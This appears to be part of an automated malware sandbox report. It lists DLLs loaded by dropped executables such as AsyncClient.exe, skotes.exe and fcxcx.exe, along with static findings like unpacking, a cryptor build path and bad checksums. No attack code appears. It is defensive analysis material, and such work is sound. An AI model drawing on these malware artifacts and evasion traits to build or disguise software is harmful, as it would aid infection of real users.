Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Section loaded: dwrite.dll
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Section loaded: msvcp140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Section loaded: secur32.dll
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Section loaded: windowscodecs.dll
Source: C:\Users\user\AppData\Local\Temp\71C7.tmp.ctx.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\71C7.tmp.ctx.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\71C7.tmp.ctx.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\71C7.tmp.ctx.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\71C7.tmp.ctx.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\71C7.tmp.ctx.exe	Section loaded: mstask.dll
Source: C:\Users\user\AppData\Local\Temp\71C7.tmp.ctx.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\71C7.tmp.ctx.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\71C7.tmp.ctx.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\71C7.tmp.ctx.exe	Section loaded: dui70.dll
Source: C:\Users\user\AppData\Local\Temp\71C7.tmp.ctx.exe	Section loaded: duser.dll
Source: C:\Users\user\AppData\Local\Temp\71C7.tmp.ctx.exe	Section loaded: chartv.dll
Source: C:\Users\user\AppData\Local\Temp\71C7.tmp.ctx.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\71C7.tmp.ctx.exe	Section loaded: oleacc.dll
Source: C:\Users\user\AppData\Local\Temp\71C7.tmp.ctx.exe	Section loaded: atlthunk.dll
Source: C:\Users\user\AppData\Local\Temp\71C7.tmp.ctx.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\71C7.tmp.ctx.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\71C7.tmp.ctx.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\71C7.tmp.ctx.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\71C7.tmp.ctx.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\71C7.tmp.ctx.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\71C7.tmp.ctx.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\71C7.tmp.ctx.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\71C7.tmp.ctx.exe	Section loaded: wtsapi32.dll
Source: C:\Users\user\AppData\Local\Temp\71C7.tmp.ctx.exe	Section loaded: winsta.dll
Source: C:\Users\user\AppData\Local\Temp\71C7.tmp.ctx.exe	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\71C7.tmp.ctx.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\71C7.tmp.ctx.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\71C7.tmp.ctx.exe	Section loaded: windows.fileexplorer.common.dll
Source: C:\Users\user\AppData\Local\Temp\71C7.tmp.ctx.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\71C7.tmp.ctx.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\71C7.tmp.ctx.exe	Section loaded: explorerframe.dll
Source: C:\Users\user\AppData\Local\Temp\71C7.tmp.ctx.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\71C7.tmp.ctx.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\71C7.tmp.ctx.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\71C7.tmp.ctx.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\71C7.tmp.ctx.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\71C7.tmp.ctx.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\71C7.tmp.ctx.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\71C7.tmp.ctx.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\71C7.tmp.ctx.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\71C7.tmp.ctx.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\79F6.tmp.AsyncClient.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\79F6.tmp.AsyncClient.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\79F6.tmp.AsyncClient.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\79F6.tmp.AsyncClient.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\79F6.tmp.AsyncClient.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\79F6.tmp.AsyncClient.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\79F6.tmp.AsyncClient.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\79F6.tmp.AsyncClient.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\79F6.tmp.AsyncClient.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\79F6.tmp.AsyncClient.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\79F6.tmp.AsyncClient.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\79F6.tmp.AsyncClient.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\79F6.tmp.AsyncClient.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\79F6.tmp.AsyncClient.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\79F6.tmp.AsyncClient.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\79F6.tmp.AsyncClient.exe	Section loaded: secur32.dll
Source: C:\Users\user\AppData\Local\Temp\79F6.tmp.AsyncClient.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Section loaded: apphelp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\audiodg.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\audiodg.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\audiodg.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\audiodg.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\audiodg.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: apphelp.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: aclayers.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc_os.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Section loaded: dwrite.dll
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Section loaded: wintypes.dll
Source: C:\Windows\explorer.exe	Section loaded: aepic.dll
Source: C:\Windows\explorer.exe	Section loaded: twinapi.dll
Source: C:\Windows\explorer.exe	Section loaded: userenv.dll
Source: C:\Windows\explorer.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\explorer.exe	Section loaded: powrprof.dll
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll
Source: C:\Windows\explorer.exe	Section loaded: dxgi.dll
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll
Source: C:\Windows\explorer.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\explorer.exe	Section loaded: propsys.dll
Source: C:\Windows\explorer.exe	Section loaded: coremessaging.dll
Source: C:\Windows\explorer.exe	Section loaded: urlmon.dll
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll
Source: C:\Windows\explorer.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\explorer.exe	Section loaded: wtsapi32.dll
Source: C:\Windows\explorer.exe	Section loaded: wininet.dll
Source: C:\Windows\explorer.exe	Section loaded: uxtheme.dll
Source: C:\Windows\explorer.exe	Section loaded: dwmapi.dll
Source: C:\Windows\explorer.exe	Section loaded: sspicli.dll
Source: C:\Windows\explorer.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\explorer.exe	Section loaded: twinapi.appcore.dll
Source: C:\Windows\explorer.exe	Section loaded: ntmarta.dll
Source: C:\Windows\explorer.exe	Section loaded: cryptsp.dll
Source: C:\Windows\explorer.exe	Section loaded: wldp.dll
Source: C:\Windows\explorer.exe	Section loaded: iertutil.dll
Source: C:\Windows\explorer.exe	Section loaded: srvcli.dll
Source: C:\Windows\explorer.exe	Section loaded: netutils.dll
Source: C:\Windows\explorer.exe	Section loaded: umpdc.dll
Source: C:\Windows\explorer.exe	Section loaded: ninput.dll
Source: C:\Windows\explorer.exe	Section loaded: appresolver.dll
Source: C:\Windows\explorer.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\explorer.exe	Section loaded: slc.dll
Source: C:\Windows\explorer.exe	Section loaded: sppc.dll
Source: C:\Windows\explorer.exe	Section loaded: profapi.dll
Source: C:\Windows\explorer.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\explorer.exe	Section loaded: starttiledata.dll
Source: C:\Windows\explorer.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\explorer.exe	Section loaded: idstore.dll
Source: C:\Windows\explorer.exe	Section loaded: windows.applicationmodel.dll
Source: C:\Windows\explorer.exe	Section loaded: appxdeploymentclient.dll
Source: C:\Windows\explorer.exe	Section loaded: usermgrcli.dll
Source: C:\Windows\explorer.exe	Section loaded: wlidprov.dll
Source: C:\Windows\explorer.exe	Section loaded: samcli.dll
Source: C:\Windows\explorer.exe	Section loaded: policymanager.dll
Source: C:\Windows\explorer.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\explorer.exe	Section loaded: usermgrproxy.dll
Source: C:\Windows\explorer.exe	Section loaded: winsta.dll
Source: C:\Windows\explorer.exe	Section loaded: sndvolsso.dll
Source: C:\Windows\explorer.exe	Section loaded: mmdevapi.dll
Source: C:\Windows\explorer.exe	Section loaded: devobj.dll
Source: C:\Windows\explorer.exe	Section loaded: oleacc.dll
Source: C:\Windows\explorer.exe	Section loaded: windows.staterepositoryclient.dll
Source: C:\Windows\explorer.exe	Section loaded: wintypes.dll
Source: C:\Windows\explorer.exe	Section loaded: textshaping.dll
Source: C:\Windows\explorer.exe	Section loaded: windows.ui.dll
Source: C:\Windows\explorer.exe	Section loaded: windowmanagementapi.dll
Source: C:\Windows\explorer.exe	Section loaded: textinputframework.dll
Source: C:\Windows\explorer.exe	Section loaded: inputhost.dll
Source: C:\Windows\explorer.exe	Section loaded: coreuicomponents.dll
Source: C:\Windows\explorer.exe	Section loaded: coreuicomponents.dll
Source: C:\Windows\explorer.exe	Section loaded: windowscodecs.dll
Source: C:\Windows\explorer.exe	Section loaded: dcomp.dll
Source: C:\Windows\explorer.exe	Section loaded: d3d11.dll
Source: C:\Windows\explorer.exe	Section loaded: resourcepolicyclient.dll
Source: C:\Windows\explorer.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\explorer.exe	Section loaded: dxcore.dll
Source: C:\Windows\explorer.exe	Section loaded: d2d1.dll
Source: C:\Windows\explorer.exe	Section loaded: dwrite.dll
Source: C:\Windows\explorer.exe	Section loaded: xmllite.dll
Source: C:\Windows\explorer.exe	Section loaded: windows.cloudstore.dll
Source: C:\Windows\explorer.exe	Section loaded: appextension.dll
Source: C:\Windows\explorer.exe	Section loaded: dataexchange.dll
Source: C:\Windows\explorer.exe	Section loaded: cldapi.dll
Source: C:\Windows\explorer.exe	Section loaded: fltlib.dll
Source: C:\Windows\explorer.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\explorer.exe	Section loaded: apphelp.dll
Source: C:\Windows\explorer.exe	Section loaded: tiledatarepository.dll
Source: C:\Windows\explorer.exe	Section loaded: staterepository.core.dll
Source: C:\Windows\explorer.exe	Section loaded: windows.staterepository.dll
Source: C:\Windows\explorer.exe	Section loaded: explorerframe.dll
Source: C:\Windows\explorer.exe	Section loaded: twinui.pcshell.dll
Source: C:\Windows\explorer.exe	Section loaded: wkscli.dll
Source: C:\Windows\explorer.exe	Section loaded: wincorlib.dll
Source: C:\Windows\explorer.exe	Section loaded: cdp.dll
Source: C:\Windows\explorer.exe	Section loaded: dsreg.dll
Source: C:\Windows\explorer.exe	Section loaded: windows.cloudstore.schema.shell.dll
Source: C:\Windows\explorer.exe	Section loaded: windows.immersiveshell.serviceprovider.dll
Source: C:\Windows\explorer.exe	Section loaded: windows.staterepositorycore.dll
Source: C:\Windows\explorer.exe	Section loaded: mrmcorer.dll
Source: C:\Windows\explorer.exe	Section loaded: languageoverlayutil.dll
Source: C:\Windows\explorer.exe	Section loaded: bcp47mrm.dll
Source: C:\Windows\explorer.exe	Section loaded: msctfmonitor.dll
Source: C:\Windows\explorer.exe	Section loaded: msutb.dll
Source: C:\Windows\explorer.exe	Section loaded: thumbcache.dll
Source: C:\Windows\explorer.exe	Section loaded: edputil.dll
Source: C:\Windows\explorer.exe	Section loaded: inputswitch.dll
Source: C:\Windows\explorer.exe	Section loaded: dui70.dll
Source: C:\Windows\explorer.exe	Section loaded: duser.dll
Source: C:\Windows\explorer.exe	Section loaded: uianimation.dll
Source: C:\Windows\explorer.exe	Section loaded: photometadatahandler.dll
Source: C:\Windows\explorer.exe	Section loaded: pcshellcommonproxystub.dll
Source: C:\Windows\explorer.exe	Section loaded: ntshrui.dll
Source: C:\Windows\explorer.exe	Section loaded: notificationcontrollerps.dll
Source: C:\Windows\explorer.exe	Section loaded: rmclient.dll
Source: C:\Windows\explorer.exe	Section loaded: shellcommoncommonproxystub.dll
Source: C:\Windows\explorer.exe	Section loaded: cryptngc.dll
Source: C:\Windows\explorer.exe	Section loaded: ncrypt.dll
Source: C:\Windows\explorer.exe	Section loaded: ntasn1.dll
Source: C:\Windows\explorer.exe	Section loaded: cflapi.dll
Source: C:\Windows\explorer.exe	Section loaded: windows.networking.connectivity.dll
Source: C:\Windows\explorer.exe	Section loaded: cscapi.dll
Source: C:\Windows\explorer.exe	Section loaded: npmproxy.dll
Source: C:\Windows\explorer.exe	Section loaded: linkinfo.dll
Source: C:\Windows\explorer.exe	Section loaded: ehstorshell.dll
Source: C:\Windows\explorer.exe	Section loaded: cscui.dll
Source: C:\Windows\explorer.exe	Section loaded: provsvc.dll
Source: C:\Windows\explorer.exe	Section loaded: stobject.dll
Source: C:\Windows\explorer.exe	Section loaded: wmiclnt.dll
Source: C:\Windows\explorer.exe	Section loaded: batmeter.dll
Source: C:\Windows\explorer.exe	Section loaded: windows.ui.shell.dll
Source: C:\Windows\explorer.exe	Section loaded: es.dll
Source: C:\Windows\explorer.exe	Section loaded: prnfldr.dll
Source: C:\Windows\explorer.exe	Section loaded: actxprxy.dll
Source: C:\Windows\explorer.exe	Section loaded: sxs.dll
Source: C:\Windows\explorer.exe	Section loaded: wpnclient.dll
Source: C:\Windows\explorer.exe	Section loaded: dxp.dll
Source: C:\Windows\explorer.exe	Section loaded: shdocvw.dll
Source: C:\Windows\explorer.exe	Section loaded: syncreg.dll
Source: C:\Windows\explorer.exe	Section loaded: windows.fileexplorer.common.dll
Source: C:\Windows\explorer.exe	Section loaded: actioncenter.dll
Source: C:\Windows\explorer.exe	Section loaded: wevtapi.dll
Source: C:\Windows\explorer.exe	Section loaded: atlthunk.dll
Source: C:\Windows\explorer.exe	Section loaded: audioses.dll
Source: C:\Windows\explorer.exe	Section loaded: pnidui.dll
Source: C:\Windows\explorer.exe	Section loaded: mobilenetworking.dll
Source: C:\Windows\explorer.exe	Section loaded: netprofm.dll
Source: C:\Windows\explorer.exe	Section loaded: networkuxbroker.dll
Source: C:\Windows\explorer.exe	Section loaded: ethernetmediamanager.dll
Source: C:\Windows\explorer.exe	Section loaded: winhttp.dll
Source: C:\Windows\explorer.exe	Section loaded: wlanapi.dll
Source: C:\Windows\explorer.exe	Section loaded: ncsi.dll
Source: C:\Windows\explorer.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\explorer.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\explorer.exe	Section loaded: wscinterop.dll
Source: C:\Windows\explorer.exe	Section loaded: wscapi.dll
Source: C:\Windows\explorer.exe	Section loaded: cryptbase.dll
Source: C:\Windows\explorer.exe	Section loaded: werconcpl.dll
Source: C:\Windows\explorer.exe	Section loaded: framedynos.dll
Source: C:\Windows\explorer.exe	Section loaded: wer.dll
Source: C:\Windows\explorer.exe	Section loaded: hcproviders.dll
Source: C:\Windows\explorer.exe	Section loaded: dusmapi.dll
Source: C:\Windows\explorer.exe	Section loaded: storageusage.dll
Source: C:\Windows\explorer.exe	Section loaded: fhcfg.dll
Source: C:\Windows\explorer.exe	Section loaded: efsutil.dll
Source: C:\Windows\explorer.exe	Section loaded: mpr.dll
Source: C:\Windows\explorer.exe	Section loaded: netapi32.dll
Source: C:\Windows\explorer.exe	Section loaded: dsrole.dll
Source: C:\Windows\explorer.exe	Section loaded: windows.internal.system.userprofile.dll
Source: C:\Windows\explorer.exe	Section loaded: cloudexperiencehostbroker.dll
Source: C:\Windows\explorer.exe	Section loaded: credui.dll
Source: C:\Windows\explorer.exe	Section loaded: wdscore.dll
Source: C:\Windows\explorer.exe	Section loaded: dbghelp.dll
Source: C:\Windows\explorer.exe	Section loaded: dbgcore.dll
Source: C:\Windows\explorer.exe	Section loaded: wpdshserviceobj.dll
Source: C:\Windows\explorer.exe	Section loaded: portabledevicetypes.dll
Source: C:\Windows\explorer.exe	Section loaded: portabledeviceapi.dll
Source: C:\Windows\explorer.exe	Section loaded: cscobj.dll
Source: C:\Windows\explorer.exe	Section loaded: windows.web.dll
Source: C:\Windows\explorer.exe	Section loaded: msasn1.dll
Source: C:\Windows\explorer.exe	Section loaded: srchadmin.dll
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.search.dll
Source: C:\Windows\explorer.exe	Section loaded: synccenter.dll
Source: C:\Windows\explorer.exe	Section loaded: imapi2.dll
Source: C:\Windows\explorer.exe	Section loaded: ieproxy.dll
Source: C:\Windows\explorer.exe	Section loaded: bluetoothapis.dll
Source: C:\Windows\explorer.exe	Section loaded: bluetoothapis.dll
Source: C:\Windows\explorer.exe	Section loaded: bluetoothapis.dll
Source: C:\Windows\explorer.exe	Section loaded: settingsync.dll
Source: C:\Windows\explorer.exe	Section loaded: settingsynccore.dll
Source: C:\Windows\explorer.exe	Section loaded: rsaenh.dll
Source: C:\Windows\explorer.exe	Section loaded: wpnapps.dll
Source: C:\Windows\explorer.exe	Section loaded: msxml6.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: file.exe

Static file information: File size 3026432 > 1048576

Source: file.exe

Static PE information: Raw size of fihjakvg is bigger than: 0x100000 < 0x2b1200

Source:	Binary string: C:\Users\Administrator\Desktop\Cryptor2\Workspace\940993430\Project\Release\Project.pdb source: 6c29e572e4.exe, 00000010.00000003.3258041097.0000000002A0D000.00000004.00000800.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000002.3362123286.00000000007BC000.00000002.00000001.01000000.0000000D.sdmp, 6c29e572e4.exe, 00000010.00000000.2864105455.00000000007BC000.00000002.00000001.01000000.0000000D.sdmp
Source:	Binary string: System.ServiceModel.pdb source: 6737.tmp.fcxcx.exe, 00000011.00000002.3319390021.00000000060E0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.pdb source: 6737.tmp.fcxcx.exe, 00000011.00000002.3236899013.0000000000E61000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\System.ServiceModel.pdb source: 6737.tmp.fcxcx.exe, 00000011.00000002.3329448586.00000000061D6000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.1b0000.0.unpack :EW;.rsrc:W;.idata :W;fihjakvg:EW;rlkpunhe:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;fihjakvg:EW;rlkpunhe:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 2.2.skotes.exe.b60000.0.unpack :EW;.rsrc:W;.idata :W;fihjakvg:EW;rlkpunhe:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;fihjakvg:EW;rlkpunhe:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 3.2.skotes.exe.b60000.0.unpack :EW;.rsrc:W;.idata :W;fihjakvg:EW;rlkpunhe:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;fihjakvg:EW;rlkpunhe:EW;.taggant:EW;

Source: 6737.tmp.fcxcx.exe.11.dr

Static PE information: 0xD22848DC [Tue Sep 23 12:17:32 2081 UTC]

Source: C:\Users\user\AppData\Local\Temp\1015193001\K6UAlAU.exe

Code function: 7_2_00007FF6AE2214EC LoadLibraryA,GetProcAddress,

7_2_00007FF6AE2214EC

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: 79F6.tmp.AsyncClient.exe.11.dr	Static PE information: real checksum: 0x0 should be: 0x146a4
Source: 232B06DEE822786254513.exe.7.dr	Static PE information: real checksum: 0x0 should be: 0x5ab50
Source: 9F33.tmp.cc.exe.11.dr	Static PE information: real checksum: 0x0 should be: 0x2f2df6
Source: 45777d8908.exe.6.dr	Static PE information: real checksum: 0x1c1056 should be: 0x1b1f31
Source: 861C.tmp.Build.exe.11.dr	Static PE information: real checksum: 0x0 should be: 0xbab6f
Source: 6737.tmp.fcxcx.exe.11.dr	Static PE information: real checksum: 0x0 should be: 0x4c2ca
Source: 7z.exe.35.dr	Static PE information: real checksum: 0x0 should be: 0x7b29e
Source: K6UAlAU[1].exe.6.dr	Static PE information: real checksum: 0x0 should be: 0x5ab50
Source: 71C7.tmp.ctx.exe.11.dr	Static PE information: real checksum: 0x0 should be: 0x71662
